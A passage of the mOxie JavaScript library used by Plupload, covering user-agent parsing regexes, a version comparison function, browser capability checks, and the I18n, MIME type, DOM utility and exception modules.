	            /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,
	                                                                                // Avant/IEMobile/SlimBrowser/Baidu
	            /(?:ms|\()(ie)\s([\w\.]+)/i,                                        // Internet Explorer

	            // Webkit/KHTML based
	            /(rekonq)\/([\w\.]+)*/i,                                            // Rekonq
	            /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i
	                                                                                // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron
	            ], [NAME, VERSION], [

	            /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i                         // IE11
	            ], [[NAME, 'IE'], VERSION], [

	            /(edge)\/((\d+)?[\w\.]+)/i                                          // Microsoft Edge
	            ], [NAME, VERSION], [

	            /(yabrowser)\/([\w\.]+)/i                                           // Yandex
	            ], [[NAME, 'Yandex'], VERSION], [

	            /(comodo_dragon)\/([\w\.]+)/i                                       // Comodo Dragon
	            ], [[NAME, /_/g, ' '], VERSION], [

	            /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,
	                                                                                // Chrome/OmniWeb/Arora/Tizen/Nokia
	            /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i
	                                                                                // UCBrowser/QQBrowser
	            ], [NAME, VERSION], [

	            /(dolfin)\/([\w\.]+)/i                                              // Dolphin
	            ], [[NAME, 'Dolphin'], VERSION], [

	            /((?:android.+)crmo|crios)\/([\w\.]+)/i                             // Chrome for Android/iOS
	            ], [[NAME, 'Chrome'], VERSION], [

	            /XiaoMi\/MiuiBrowser\/([\w\.]+)/i                                   // MIUI Browser
	            ], [VERSION, [NAME, 'MIUI Browser']], [

	            /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i         // Android Browser
	            ], [VERSION, [NAME, 'Android Browser']], [

	            /FBAV\/([\w\.]+);/i                                                 // Facebook App for iOS
	            ], [VERSION, [NAME, 'Facebook']], [

	            /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i                       // Mobile Safari
	            ], [VERSION, [NAME, 'Mobile Safari']], [

	            /version\/([\w\.]+).+?(mobile\s?safari|safari)/i                    // Safari & Safari Mobile
	            ], [VERSION, NAME], [

	            /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i                     // Safari < 3.0
	            ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [

	            /(konqueror)\/([\w\.]+)/i,                                          // Konqueror
	            /(webkit|khtml)\/([\w\.]+)/i
	            ], [NAME, VERSION], [

	            // Gecko based
	            /(navigator|netscape)\/([\w\.-]+)/i                                 // Netscape
	            ], [[NAME, 'Netscape'], VERSION], [
	            /(swiftfox)/i,                                                      // Swiftfox
	            /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,
	                                                                                // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror
	            /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,
	                                                                                // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix
	            /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,                          // Mozilla

	            // Other
	            /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,
	                                                                                // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf
	            /(links)\s\(([\w\.]+)/i,                                            // Links
	            /(gobrowser)\/?([\w\.]+)*/i,                                        // GoBrowser
	            /(ice\s?browser)\/v?([\w\._]+)/i,                                   // ICE Browser
	            /(mosaic)[\/\s]([\w\.]+)/i                                          // Mosaic
	            ], [NAME, VERSION]
	        ],

	        engine : [[

	            /windows.+\sedge\/([\w\.]+)/i                                       // EdgeHTML
	            ], [VERSION, [NAME, 'EdgeHTML']], [

	            /(presto)\/([\w\.]+)/i,                                             // Presto
	            /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,     // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m
	            /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,                          // KHTML/Tasman/Links
	            /(icab)[\/\s]([23]\.[\d\.]+)/i                                      // iCab
	            ], [NAME, VERSION], [

	            /rv\:([\w\.]+).*(gecko)/i                                           // Gecko
	            ], [VERSION, NAME]
	        ],

	        os : [[

	            // Windows based
	            /microsoft\s(windows)\s(vista|xp)/i                                 // Windows (iTunes)
	            ], [NAME, VERSION], [
	            /(windows)\snt\s6\.2;\s(arm)/i,                                     // Windows RT
	            /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i
	            ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [
	            /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i
	            ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [

	            // Mobile/Embedded OS
	            /\((bb)(10);/i                                                      // BlackBerry 10
	            ], [[NAME, 'BlackBerry'], VERSION], [
	            /(blackberry)\w*\/?([\w\.]+)*/i,                                    // Blackberry
	            /(tizen)[\/\s]([\w\.]+)/i,                                          // Tizen
	            /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,
	                                                                                // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki
	            /linux;.+(sailfish);/i                                              // Sailfish OS
	            ], [NAME, VERSION], [
	            /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i                 // Symbian
	            ], [[NAME, 'Symbian'], VERSION], [
	            /\((series40);/i                                                    // Series 40
	            ], [NAME], [
	            /mozilla.+\(mobile;.+gecko.+firefox/i                               // Firefox OS
	            ], [[NAME, 'Firefox OS'], VERSION], [

	            // Console
	            /(nintendo|playstation)\s([wids3portablevu]+)/i,                    // Nintendo/Playstation

	            // GNU/Linux based
	            /(mint)[\/\s\(]?(\w+)*/i,                                           // Mint
	            /(mageia|vectorlinux)[;\s]/i,                                       // Mageia/VectorLinux
	            /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,
	                                                                                // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware
	                                                                                // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus
	            /(hurd|linux)\s?([\w\.]+)*/i,                                       // Hurd/Linux
	            /(gnu)\s?([\w\.]+)*/i                                               // GNU
	            ], [NAME, VERSION], [

	            /(cros)\s[\w]+\s([\w\.]+\w)/i                                       // Chromium OS
	            ], [[NAME, 'Chromium OS'], VERSION],[

	            // Solaris
	            /(sunos)\s?([\w\.]+\d)*/i                                           // Solaris
	            ], [[NAME, 'Solaris'], VERSION], [

	            // BSD based
	            /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i                   // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly
	            ], [NAME, VERSION],[

	            /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i             // iOS
	            ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [

	            /(mac\sos\sx)\s?([\w\s\.]+\w)*/i,
	            /(macintosh|mac(?=_powerpc)\s)/i                                    // Mac OS
	            ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [

	            // Other
	            /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,                            // Solaris
	            /(haiku)\s(\w+)/i,                                                  // Haiku
	            /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,                               // AIX
	            /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,
	                                                                                // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS
	            /(unix)\s?([\w\.]+)*/i                                              // UNIX
	            ], [NAME, VERSION]
	        ]
	    };


	    /////////////////
	    // Constructor
	    ////////////////


	    var UAParser = function (uastring) {

	        var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY);

	        this.getBrowser = function () {
	            return mapper.rgx.apply(this, regexes.browser);
	        };
	        this.getEngine = function () {
	            return mapper.rgx.apply(this, regexes.engine);
	        };
	        this.getOS = function () {
	            return mapper.rgx.apply(this, regexes.os);
	        };
	        this.getResult = function() {
	            return {
	                ua      : this.getUA(),
	                browser : this.getBrowser(),
	                engine  : this.getEngine(),
	                os      : this.getOS()
	            };
	        };
	        this.getUA = function () {
	            return ua;
	        };
	        this.setUA = function (uastring) {
	            ua = uastring;
	            return this;
	        };
	        this.setUA(ua);
	    };

	    return UAParser;
	})();


	function version_compare(v1, v2, operator) {
	  // From: http://phpjs.org/functions
	  // +      original by: Philippe Jausions (http://pear.php.net/user/jausions)
	  // +      original by: Aidan Lister (http://aidanlister.com/)
	  // + reimplemented by: Kankrelune (http://www.webfaktory.info/)
	  // +      improved by: Brett Zamir (http://brett-zamir.me)
	  // +      improved by: Scott Baker
	  // +      improved by: Theriault
	  // *        example 1: version_compare('8.2.5rc', '8.2.5a');
	  // *        returns 1: 1
	  // *        example 2: version_compare('8.2.50', '8.2.52', '<');
	  // *        returns 2: true
	  // *        example 3: version_compare('5.3.0-dev', '5.3.0');
	  // *        returns 3: -1
	  // *        example 4: version_compare('4.1.0.52','4.01.0.51');
	  // *        returns 4: 1

	  // Important: compare must be initialized at 0.
	  var i = 0,
	    x = 0,
	    compare = 0,
	    // vm maps textual PHP versions to negatives so they're less than 0.
	    // PHP currently defines these as CASE-SENSITIVE. It is important to
	    // leave these as negatives so that they can come before numerical versions
	    // and as if no letters were there to begin with.
	    // (1alpha is < 1 and < 1.1 but > 1dev1)
	    // If a non-numerical value can't be mapped to this table, it receives
	    // -7 as its value.
	    vm = {
	      'dev': -6,
	      'alpha': -5,
	      'a': -5,
	      'beta': -4,
	      'b': -4,
	      'RC': -3,
	      'rc': -3,
	      '#': -2,
	      'p': 1,
	      'pl': 1
	    },
	    // This function will be called to prepare each version argument.
	    // It replaces every _, -, and + with a dot.
	    // It surrounds any nonsequence of numbers/dots with dots.
	    // It replaces sequences of dots with a single dot.
	    //    version_compare('4..0', '4.0') == 0
	    // Important: A string of 0 length needs to be converted into a value
	    // even less than an unexisting value in vm (-7), hence [-8].
	    // It's also important to not strip spaces because of this.
	    //   version_compare('', ' ') == 1
	    prepVersion = function (v) {
	      v = ('' + v).replace(/[_\-+]/g, '.');
	      v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.');
	      return (!v.length ? [-8] : v.split('.'));
	    },
	    // This converts a version component to a number.
	    // Empty component becomes 0.
	    // Non-numerical component becomes a negative number.
	    // Numerical component becomes itself as an integer.
	    numVersion = function (v) {
	      return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10));
	    };

	  v1 = prepVersion(v1);
	  v2 = prepVersion(v2);
	  x = Math.max(v1.length, v2.length);
	  for (i = 0; i < x; i++) {
	    if (v1[i] == v2[i]) {
	      continue;
	    }
	    v1[i] = numVersion(v1[i]);
	    v2[i] = numVersion(v2[i]);
	    if (v1[i] < v2[i]) {
	      compare = -1;
	      break;
	    } else if (v1[i] > v2[i]) {
	      compare = 1;
	      break;
	    }
	  }
	  if (!operator) {
	    return compare;
	  }

	  // Important: operator is CASE-SENSITIVE.
	  // "No operator" seems to be treated as "<."
	  // Any other values seem to make the function return null.
	  switch (operator) {
	  case '>':
	  case 'gt':
	    return (compare > 0);
	  case '>=':
	  case 'ge':
	    return (compare >= 0);
	  case '<=':
	  case 'le':
	    return (compare <= 0);
	  case '==':
	  case '=':
	  case 'eq':
	    return (compare === 0);
	  case '<>':
	  case '!=':
	  case 'ne':
	    return (compare !== 0);
	  case '':
	  case '<':
	  case 'lt':
	    return (compare < 0);
	  default:
	    return null;
	  }
	}


	var can = (function() {
		var caps = {
				define_property: (function() {
					/* // currently too much extra code required, not exactly worth it
					try { // as of IE8, getters/setters are supported only on DOM elements
						var obj = {};
						if (Object.defineProperty) {
							Object.defineProperty(obj, 'prop', {
								enumerable: true,
								configurable: true
							});
							return true;
						}
					} catch(ex) {}

					if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) {
						return true;
					}*/
					return false;
				}()),

				create_canvas: (function() {
					// On the S60 and BB Storm, getContext exists, but always returns undefined
					// so we actually have to call getContext() to verify
					// github.com/Modernizr/Modernizr/issues/issue/97/
					var el = document.createElement('canvas');
					return !!(el.getContext && el.getContext('2d'));
				}()),

				return_response_type: function(responseType) {
					try {
						if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) {
							return true;
						} else if (window.XMLHttpRequest) {
							var xhr = new XMLHttpRequest();
							xhr.open('get', '/'); // otherwise Gecko throws an exception
							if ('responseType' in xhr) {
								xhr.responseType = responseType;
								// as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?)
								if (xhr.responseType !== responseType) {
									return false;
								}
								return true;
							}
						}
					} catch (ex) {}
					return false;
				},

				// ideas for this heavily come from Modernizr (http://modernizr.com/)
				use_data_uri: (function() {
					var du = new Image();

					du.onload = function() {
						caps.use_data_uri = (du.width === 1 && du.height === 1);
					};
					
					setTimeout(function() {
						du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==";
					}, 1);
					return false;
				}()),

				use_data_uri_over32kb: function() { // IE8
					return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9);
				},

				use_data_uri_of: function(bytes) {
					return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb());
				},

				use_fileinput: function() {
					if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) {
						return false;
					}

					var el = document.createElement('input');
					el.setAttribute('type', 'file');
					return !el.disabled;
				}
			};

		return function(cap) {
			var args = [].slice.call(arguments);
			args.shift(); // shift of cap
			return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap];
		};
	}());


	var uaResult = new UAParser().getResult();


	var Env = {
		can: can,

		uaParser: UAParser,
		
		browser: uaResult.browser.name,
		version: uaResult.browser.version,
		os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason
		osVersion: uaResult.os.version,

		verComp: version_compare,

		global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent"
	};

	// for backward compatibility
	// @deprecated Use `Env.os` instead
	Env.OS = Env.os;

	if (MXI_DEBUG) {
		Env.debug = {
			runtime: true,
			events: false
		};

		Env.log = function() {
			
			function logObj(data) {
				// TODO: this should recursively print out the object in a pretty way
				console.appendChild(document.createTextNode(data + "\n"));
			}

			var data = arguments[0];

			if (Basic.typeOf(data) === 'string') {
				data = Basic.sprintf.apply(this, arguments);
			}

			if (window && window.console && window.console.log) {
				window.console.log(data);
			} else if (document) {
				var console = document.getElementById('moxie-console');
				if (!console) {
					console = document.createElement('pre');
					console.id = 'moxie-console';
					//console.style.display = 'none';
					document.body.appendChild(console);
				}

				if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) {
					logObj(data);
				} else {
					console.appendChild(document.createTextNode(data + "\n"));
				}
			}
		};
	}

	return Env;
});

// Included from: src/javascript/core/I18n.js

/**
 * I18n.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/core/I18n", [
	"moxie/core/utils/Basic"
], function(Basic) {
	var i18n = {};

	return {
		/**
		 * Extends the language pack object with new items.
		 *
		 * @param {Object} pack Language pack items to add.
		 * @return {Object} Extended language pack object.
		 */
		addI18n: function(pack) {
			return Basic.extend(i18n, pack);
		},

		/**
		 * Translates the specified string by checking for the english string in the language pack lookup.
		 *
		 * @param {String} str String to look for.
		 * @return {String} Translated string or the input string if it wasn't found.
		 */
		translate: function(str) {
			return i18n[str] || str;
		},

		/**
		 * Shortcut for translate function
		 *
		 * @param {String} str String to look for.
		 * @return {String} Translated string or the input string if it wasn't found.
		 */
		_: function(str) {
			return this.translate(str);
		},

		/**
		 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
		 *
		 * @param {String} str String with tokens
		 * @return {String} String with replaced tokens
		 */
		sprintf: function(str) {
			var args = [].slice.call(arguments, 1);

			return str.replace(/%[a-z]/g, function() {
				var value = args.shift();
				return Basic.typeOf(value) !== 'undefined' ? value : '';
			});
		}
	};
});

// Included from: src/javascript/core/utils/Mime.js

/**
 * Mime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/core/utils/Mime", [
	"moxie/core/utils/Basic",
	"moxie/core/I18n"
], function(Basic, I18n) {
	
	var mimeData = "" +
		"application/msword,doc dot," +
		"application/pdf,pdf," +
		"application/pgp-signature,pgp," +
		"application/postscript,ps ai eps," +
		"application/rtf,rtf," +
		"application/vnd.ms-excel,xls xlb," +
		"application/vnd.ms-powerpoint,ppt pps pot," +
		"application/zip,zip," +
		"application/x-shockwave-flash,swf swfl," +
		"application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," +
		"application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," +
		"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," +
		"application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," +
		"application/vnd.openxmlformats-officedocument.presentationml.template,potx," +
		"application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," +
		"application/x-javascript,js," +
		"application/json,json," +
		"audio/mpeg,mp3 mpga mpega mp2," +
		"audio/x-wav,wav," +
		"audio/x-m4a,m4a," +
		"audio/ogg,oga ogg," +
		"audio/aiff,aiff aif," +
		"audio/flac,flac," +
		"audio/aac,aac," +
		"audio/ac3,ac3," +
		"audio/x-ms-wma,wma," +
		"image/bmp,bmp," +
		"image/gif,gif," +
		"image/jpeg,jpg jpeg jpe," +
		"image/photoshop,psd," +
		"image/png,png," +
		"image/svg+xml,svg svgz," +
		"image/tiff,tiff tif," +
		"text/plain,asc txt text diff log," +
		"text/html,htm html xhtml," +
		"text/css,css," +
		"text/csv,csv," +
		"text/rtf,rtf," +
		"video/mpeg,mpeg mpg mpe m2v," +
		"video/quicktime,qt mov," +
		"video/mp4,mp4," +
		"video/x-m4v,m4v," +
		"video/x-flv,flv," +
		"video/x-ms-wmv,wmv," +
		"video/avi,avi," +
		"video/webm,webm," +
		"video/3gpp,3gpp 3gp," +
		"video/3gpp2,3g2," +
		"video/vnd.rn-realvideo,rv," +
		"video/ogg,ogv," + 
		"video/x-matroska,mkv," +
		"application/vnd.oasis.opendocument.formula-template,otf," +
		"application/octet-stream,exe";
	
	
	var Mime = {

		mimes: {},

		extensions: {},

		// Parses the default mime types string into a mimes and extensions lookup maps
		addMimeType: function (mimeData) {
			var items = mimeData.split(/,/), i, ii, ext;
			
			for (i = 0; i < items.length; i += 2) {
				ext = items[i + 1].split(/ /);

				// extension to mime lookup
				for (ii = 0; ii < ext.length; ii++) {
					this.mimes[ext[ii]] = items[i];
				}
				// mime to extension lookup
				this.extensions[items[i]] = ext;
			}
		},


		extList2mimes: function (filters, addMissingExtensions) {
			var self = this, ext, i, ii, type, mimes = [];
			
			// convert extensions to mime types list
			for (i = 0; i < filters.length; i++) {
				ext = filters[i].extensions.split(/\s*,\s*/);

				for (ii = 0; ii < ext.length; ii++) {
					
					// if there's an asterisk in the list, then accept attribute is not required
					if (ext[ii] === '*') {
						return [];
					}

					type = self.mimes[ext[ii]];
					if (type && Basic.inArray(type, mimes) === -1) {
						mimes.push(type);
					}

					// future browsers should filter by extension, finally
					if (addMissingExtensions && /^\w+$/.test(ext[ii])) {
						mimes.push('.' + ext[ii]);
					} else if (!type) {
						// if we have no type in our map, then accept all
						return [];
					}
				}
			}
			return mimes;
		},


		mimes2exts: function(mimes) {
			var self = this, exts = [];
			
			Basic.each(mimes, function(mime) {
				if (mime === '*') {
					exts = [];
					return false;
				}

				// check if this thing looks like mime type
				var m = mime.match(/^(\w+)\/(\*|\w+)$/);
				if (m) {
					if (m[2] === '*') { 
						// wildcard mime type detected
						Basic.each(self.extensions, function(arr, mime) {
							if ((new RegExp('^' + m[1] + '/')).test(mime)) {
								[].push.apply(exts, self.extensions[mime]);
							}
						});
					} else if (self.extensions[mime]) {
						[].push.apply(exts, self.extensions[mime]);
					}
				}
			});
			return exts;
		},


		mimes2extList: function(mimes) {
			var accept = [], exts = [];

			if (Basic.typeOf(mimes) === 'string') {
				mimes = Basic.trim(mimes).split(/\s*,\s*/);
			}

			exts = this.mimes2exts(mimes);
			
			accept.push({
				title: I18n.translate('Files'),
				extensions: exts.length ? exts.join(',') : '*'
			});
			
			// save original mimes string
			accept.mimes = mimes;

			return accept;
		},


		getFileExtension: function(fileName) {
			var matches = fileName && fileName.match(/\.([^.]+)$/);
			if (matches) {
				return matches[1].toLowerCase();
			}
			return '';
		},

		getFileMime: function(fileName) {
			return this.mimes[this.getFileExtension(fileName)] || '';
		}
	};

	Mime.addMimeType(mimeData);

	return Mime;
});

// Included from: src/javascript/core/utils/Dom.js

/**
 * Dom.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) {

	/**
	Get DOM Element by it's id.

	@method get
	@for Utils
	@param {String} id Identifier of the DOM Element
	@return {DOMElement}
	*/
	var get = function(id) {
		if (typeof id !== 'string') {
			return id;
		}
		return document.getElementById(id);
	};

	/**
	Checks if specified DOM element has specified class.

	@method hasClass
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Class name
	*/
	var hasClass = function(obj, name) {
		if (!obj.className) {
			return false;
		}

		var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
		return regExp.test(obj.className);
	};

	/**
	Adds specified className to specified DOM element.

	@method addClass
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Class name
	*/
	var addClass = function(obj, name) {
		if (!hasClass(obj, name)) {
			obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name;
		}
	};

	/**
	Removes specified className from specified DOM element.

	@method removeClass
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Class name
	*/
	var removeClass = function(obj, name) {
		if (obj.className) {
			var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
			obj.className = obj.className.replace(regExp, function($0, $1, $2) {
				return $1 === ' ' && $2 === ' ' ? ' ' : '';
			});
		}
	};

	/**
	Returns a given computed style of a DOM element.

	@method getStyle
	@static
	@param {Object} obj DOM element like object.
	@param {String} name Style you want to get from the DOM element
	*/
	var getStyle = function(obj, name) {
		if (obj.currentStyle) {
			return obj.currentStyle[name];
		} else if (window.getComputedStyle) {
			return window.getComputedStyle(obj, null)[name];
		}
	};


	/**
	Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.

	@method getPos
	@static
	@param {Element} node HTML element or element id to get x, y position from.
	@param {Element} root Optional root element to stop calculations at.
	@return {object} Absolute position of the specified element object with x, y fields.
	*/
	var getPos = function(node, root) {
		var x = 0, y = 0, parent, doc = document, nodeRect, rootRect;

		node = node;
		root = root || doc.body;

		// Returns the x, y cordinate for an element on IE 6 and IE 7
		function getIEPos(node) {
			var bodyElm, rect, x = 0, y = 0;

			if (node) {
				rect = node.getBoundingClientRect();
				bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body;
				x = rect.left + bodyElm.scrollLeft;
				y = rect.top + bodyElm.scrollTop;
			}

			return {
				x : x,
				y : y
			};
		}

		// Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode
		if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) {
			nodeRect = getIEPos(node);
			rootRect = getIEPos(root);

			return {
				x : nodeRect.x - rootRect.x,
				y : nodeRect.y - rootRect.y
			};
		}

		parent = node;
		while (parent && parent != root && parent.nodeType) {
			x += parent.offsetLeft || 0;
			y += parent.offsetTop || 0;
			parent = parent.offsetParent;
		}

		parent = node.parentNode;
		while (parent && parent != root && parent.nodeType) {
			x -= parent.scrollLeft || 0;
			y -= parent.scrollTop || 0;
			parent = parent.parentNode;
		}

		return {
			x : x,
			y : y
		};
	};

	/**
	Returns the size of the specified node in pixels.

	@method getSize
	@static
	@param {Node} node Node to get the size of.
	@return {Object} Object with a w and h property.
	*/
	var getSize = function(node) {
		return {
			w : node.offsetWidth || node.clientWidth,
			h : node.offsetHeight || node.clientHeight
		};
	};

	return {
		get: get,
		hasClass: hasClass,
		addClass: addClass,
		removeClass: removeClass,
		getStyle: getStyle,
		getPos: getPos,
		getSize: getSize
	};
});

// Included from: src/javascript/core/Exceptions.js

/**
 * Exceptions.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/Exceptions', [
	'moxie/core/utils/Basic'
], function(Basic) {
	function _findKey(obj, value) {
		var key;
		for (key in obj) {
			if (obj[key] === value) {
				return key;
			}
		}
		return null;
	}

	return {
		RuntimeError: (function() {
			var namecodes = {
				NOT_INIT_ERR: 1,
				NOT_SUPPORTED_ERR: 9,
				JS_ERR: 4
			};

			function RuntimeError(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": RuntimeError " + this.code;
			}
			
			Basic.extend(RuntimeError, namecodes);
			RuntimeError.prototype = Error.prototype;
			return RuntimeError;
		}()),
		
		OperationNotAllowedException: (function() {
			
			function OperationNotAllowedException(code) {
				this.code = code;
				this.name = 'OperationNotAllowedException';
			}
			
			Basic.extend(OperationNotAllowedException, {
				NOT_ALLOWED_ERR: 1
			});
			
			OperationNotAllowedException.prototype = Error.prototype;
			
			return OperationNotAllowedException;
		}()),

		ImageError: (function() {
			var namecodes = {
				WRONG_FORMAT: 1,
				MAX_RESOLUTION_ERR: 2,
				INVALID_META_ERR: 3
			};

			function ImageError(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": ImageError " + this.code;
			}
			
			Basic.extend(ImageError, namecodes);
			ImageError.prototype = Error.prototype;

			return ImageError;
		}()),

		FileException: (function() {
			var namecodes = {
				NOT_FOUND_ERR: 1,
				SECURITY_ERR: 2,
				ABORT_ERR: 3,
				NOT_READABLE_ERR: 4,
				ENCODING_ERR: 5,
				NO_MODIFICATION_ALLOWED_ERR: 6,
				INVALID_STATE_ERR: 7,
				SYNTAX_ERR: 8
			};

			function FileException(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": FileException " + this.code;
			}
			
			Basic.extend(FileException, namecodes);
			FileException.prototype = Error.prototype;
			return FileException;
		}()),
		
		DOMException: (function() {
			var namecodes = {
				INDEX_SIZE_ERR: 1,
				DOMSTRING_SIZE_ERR: 2,
				HIERARCHY_REQUEST_ERR: 3,
				WRONG_DOCUMENT_ERR: 4,
				INVALID_CHARACTER_ERR: 5,
				NO_DATA_ALLOWED_ERR: 6,
				NO_MODIFICATION_ALLOWED_ERR: 7,
				NOT_FOUND_ERR: 8,
				NOT_SUPPORTED_ERR: 9,
				INUSE_ATTRIBUTE_ERR: 10,
				INVALID_STATE_ERR: 11,
				SYNTAX_ERR: 12,
				INVALID_MODIFICATION_ERR: 13,
				NAMESPACE_ERR: 14,
				INVALID_ACCESS_ERR: 15,
				VALIDATION_ERR: 16,
				TYPE_MISMATCH_ERR: 17,
				SECURITY_ERR: 18,
				NETWORK_ERR: 19,
				ABORT_ERR: 20,
				URL_MISMATCH_ERR: 21,
				QUOTA_EXCEEDED_ERR: 22,
				TIMEOUT_ERR: 23,
				INVALID_NODE_TYPE_ERR: 24,
				DATA_CLONE_ERR: 25
			};

			function DOMException(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": DOMException " + this.code;
			}
			
			Basic.extend(DOMException, namecodes);
			DOMException.prototype = Error.prototype;
			return DOMException;
		}()),
		
		EventException: (function() {
			function EventException(code) {
				this.code = code;
				this.name = 'EventException';
			}
			
			Basic.extend(EventException, {
				UNSPECIFIED_EVENT_TYPE_ERR: 0
			});
			
			EventException.prototype = Error.prototype;
			
			return EventException;
		}())
	};
});

// Included from: src/javascript/core/EventTarget.js

/**
 * EventTarget.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/EventTarget', [
	'moxie/core/utils/Env',
	'moxie/core/Exceptions',
	'moxie/core/utils/Basic'
], function(Env, x, Basic) {
	/**
	Parent object for all event dispatching components and objects

	@class EventTarget
	@constructor EventTarget
	*/
	function EventTarget() {
		// hash of event listeners by object uid
		var eventpool = {};
				
		Basic.extend(this, {
			
			/**
			Unique id of the event dispatcher, usually overriden by children

			@property uid
			@type String
			*/
			uid: null,
			
			/**
			Can be called from within a child  in order to acquire uniqie id in automated manner

			@method init
			*/
			init: function() {
				if (!this.uid) {
					this.uid = Basic.guid('uid_');
				}
			},

			/**
			Register a handler to a specific event dispatched by the object

			@method addEventListener
			@param {String} type Type or basically a name of the event to subscribe to
